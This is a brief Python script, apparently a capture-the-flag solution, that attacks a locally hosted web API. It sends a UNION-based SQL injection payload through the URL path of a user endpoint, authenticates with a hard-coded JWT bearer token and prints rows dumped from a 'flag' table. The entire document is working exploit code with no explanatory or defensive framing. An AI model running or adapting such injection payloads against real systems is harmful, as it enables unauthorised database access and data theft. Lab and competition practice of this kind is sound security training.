import requests


payload = "OR 1=1 UNION SELECT NULL,NULL,string_agg(name, ','),NULL FROM flag"
url = f"http://127.0.0.1:5000/api/users/1 {payload}"
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2NDA3ODkzNywianRpIjoiNDc3MWNlNjktN2NkZC00OGY2LTllZTYtNDk5MzAyMDBmZWZmIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6IjEiLCJuYmYiOjE2NjQwNzg5MzcsImV4cCI6MTY2NDE2NTMzNywiaXNfYWRtaW4iOmZhbHNlLCJpZCI6MX0.Mc6D3WLulU6PfVS_tG3-R_kdnjd3FutDI_7qZU6pVq_Fxnzy9AOgTRUiWspYrOn_MirICX0Q7fFPMYyVIvorDg"
headers = {'Authorization': f'Bearer {token}'}
response = requests.get(url, headers=headers)
data = response.json()

for flag in data['email'].split(','):
    print(flag)
